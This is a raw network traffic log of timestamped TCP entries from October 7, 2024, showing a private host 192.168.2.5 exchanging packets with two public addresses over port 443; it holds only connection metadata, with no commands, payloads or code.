Oct 7, 2024 21:53:35.711085081 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.711128950 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.723294020 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.723351955 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.723839998 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.723858118 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.724082947 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.724148035 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.724483013 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.724504948 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.724697113 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.724736929 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.725096941 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.725104094 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.725330114 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.725354910 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.725382090 CEST	49986	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.725389004 CEST	443	49986	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.730041981 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.730122089 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.730202913 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.730329990 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.730350971 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.790555000 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.790596008 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.790653944 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.791169882 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:35.791186094 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:35.817389011 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.817393064 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.817559958 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.817636013 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.817837954 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.817884922 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.817914963 CEST	49988	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.817930937 CEST	443	49988	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.818450928 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.818514109 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.818578959 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.818578959 CEST	49987	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.818612099 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.818639040 CEST	443	49987	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.820663929 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.820993900 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.821044922 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.821178913 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.821192980 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.821201086 CEST	49989	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.821206093 CEST	443	49989	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.823290110 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.823321104 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.823389053 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.823878050 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.823889017 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.824867010 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.824873924 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.825196981 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.825854063 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.825864077 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.826056004 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.826092958 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.826580048 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.826694012 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.826714039 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.900695086 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.901415110 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.901449919 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.902144909 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.902154922 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.995747089 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.996184111 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.996248960 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.996488094 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.996501923 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.996514082 CEST	49990	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.996520042 CEST	443	49990	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.999197006 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.999216080 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:35.999281883 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.999471903 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:35.999486923 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.346561909 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.347057104 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.347079039 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.347481012 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.347489119 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.443567038 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.444401026 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.444461107 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.444531918 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.444545984 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.444587946 CEST	49991	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.444595098 CEST	443	49991	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.447809935 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.447835922 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.447901011 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.448067904 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.448074102 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.448350906 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.449054956 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.449070930 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.449536085 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.449548006 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.450664997 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.451030016 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.451044083 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.451908112 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.451911926 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.452238083 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.452533007 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.452550888 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.452938080 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.452945948 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.565366983 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.565928936 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.565952063 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.566745043 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.566752911 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.566831112 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.566842079 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.568259954 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.569371939 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.569420099 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.569482088 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.569554090 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.569570065 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.569582939 CEST	49993	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.569588900 CEST	443	49993	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.572202921 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.572228909 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.572424889 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.572593927 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.572604895 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.577514887 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.577936888 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.577991009 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.578036070 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.578047991 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.578057051 CEST	49994	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.578062057 CEST	443	49994	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.580653906 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.580693007 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.580749035 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.580885887 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.580900908 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.592129946 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.593023062 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.593085051 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.593152046 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.593189001 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.593220949 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.593240023 CEST	49995	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.593249083 CEST	443	49995	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.596421957 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.596465111 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.596529961 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.596674919 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.596688032 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.667453051 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.668050051 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.668066978 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.668454885 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.668462038 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.795099974 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.795326948 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.795407057 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.795434952 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.795454025 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.795465946 CEST	49996	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.795471907 CEST	443	49996	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.798477888 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.798504114 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.798620939 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.798784971 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:36.798799038 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:36.975792885 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.975816965 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.975850105 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.975929022 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.975986004 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.976039886 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.976407051 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.976429939 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:36.976444006 CEST	49992	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:36.976449966 CEST	443	49992	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.035983086 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.036072969 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.036150932 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.036386013 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.036421061 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.079740047 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.081053972 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.081063986 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.081516027 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.081518888 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.181901932 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.181945086 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.181994915 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.182003021 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.182049036 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.182235956 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.182254076 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.182264090 CEST	49997	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.182271004 CEST	443	49997	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.184700966 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.184746981 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.184812069 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.184946060 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.184958935 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.186332941 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.186702967 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.186713934 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.187149048 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.187153101 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.221280098 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.221703053 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.221726894 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.221904993 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.222162008 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.222167969 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.222402096 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.222424984 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.222768068 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.222774029 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.285484076 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.285561085 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.285664082 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.285872936 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.285891056 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.285902977 CEST	49998	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.285909891 CEST	443	49998	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.288837910 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.288891077 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.288980007 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.289154053 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.289176941 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.316579103 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317387104 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317400932 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317441940 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317471981 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.317485094 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317519903 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.317536116 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.317570925 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.317585945 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.317595959 CEST	50000	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.317601919 CEST	443	50000	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.318542004 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.318553925 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.318562984 CEST	49999	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.318568945 CEST	443	49999	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.320971966 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.321022987 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.321099043 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.321264029 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.321280956 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.322242022 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.322252035 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.322360039 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.322453976 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.322468042 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.415484905 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.416004896 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.416049957 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.416459084 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.416486025 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.510682106 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.510731936 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.510895014 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.510941029 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.510999918 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.511039019 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.511073112 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.511105061 CEST	50001	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.511120081 CEST	443	50001	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.514071941 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.514113903 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.514188051 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.514343023 CEST	50007	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.514358997 CEST	443	50007	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.804569006 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.805037975 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.805071115 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.805484056 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.805493116 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.893497944 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.894494057 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.894515991 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.894989014 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.894994974 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901098013 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901118994 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901174068 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.901191950 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901241064 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901294947 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.901374102 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.901390076 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.901400089 CEST	50003	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.901406050 CEST	443	50003	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.903711081 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.903747082 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.903821945 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.903929949 CEST	50008	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.903938055 CEST	443	50008	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.932524920 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.934428930 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.934495926 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.934851885 CEST	50005	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.934865952 CEST	443	50005	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.973318100 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.973912001 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.973928928 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.974356890 CEST	50006	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.974364042 CEST	443	50006	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.984680891 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.985126972 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.985135078 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.985810041 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.985816002 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.985878944 CEST	50002	443	192.168.2.5	40.126.32.140
Oct 7, 2024 21:53:37.985888958 CEST	443	50002	40.126.32.140	192.168.2.5
Oct 7, 2024 21:53:37.987878084 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.988292933 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.988347054 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.988368034 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.988398075 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.988532066 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.988549948 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.988560915 CEST	50004	443	192.168.2.5	13.107.246.64
Oct 7, 2024 21:53:37.988567114 CEST	443	50004	13.107.246.64	192.168.2.5
Oct 7, 2024 21:53:37.991003990 CEST	50009	443	192.168.2.5	13.107.246.64
